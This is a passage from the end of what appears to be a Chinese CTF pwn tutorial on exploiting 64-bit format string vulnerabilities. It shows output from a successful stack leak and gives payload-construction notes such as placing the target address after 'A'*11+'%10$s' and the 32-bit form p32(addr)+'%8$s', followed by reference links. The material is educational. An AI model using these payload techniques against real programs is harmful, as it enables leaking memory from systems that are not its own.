AAAAAAAAAAAABCDEFGH&\xdf\xff\xff\xff\x7farg4的地址:0x7fffffffdf26

[*] Got EOF while reading in interactive
$  

可以看到,上面输出AAAAAAAA后紧接着输出了ABCDEFGH,攻击成功! 总结: 1.arg4地址要放payload的最后,否则64位地址高位是0,小端存储时高位的0会被放在高地址处,读完arg4的地址时字符串就会被00截断。 2.‘A’*11+’%10$s’为16个字节,要注意对齐16字节。 3.‘A’*11+’%10$s’占用一个偏移。 4.若为32位,且地址高位没有0,则payload构造为p32(addr_arg4)+’%8$s’.(偏移不一定为8,看情况)

可以看到这种方法非常强大,可以获得栈中任意的值。

参考:

64位格式化字符串漏洞修改got表利用详解

格式化字符串漏洞

64位格式化字符串漏洞pwn入门

python3的pwn用法——when_did_you_born题解 ——这里我了解到 python3 的 can’t concat str to bytes 问题。

python3-pwntools教程_CTF PWN工具篇1 ——python3 的 pwntools 使用教程

相关文章:

格式化字符串大杂烩

非栈上格式化字符串漏洞利用技巧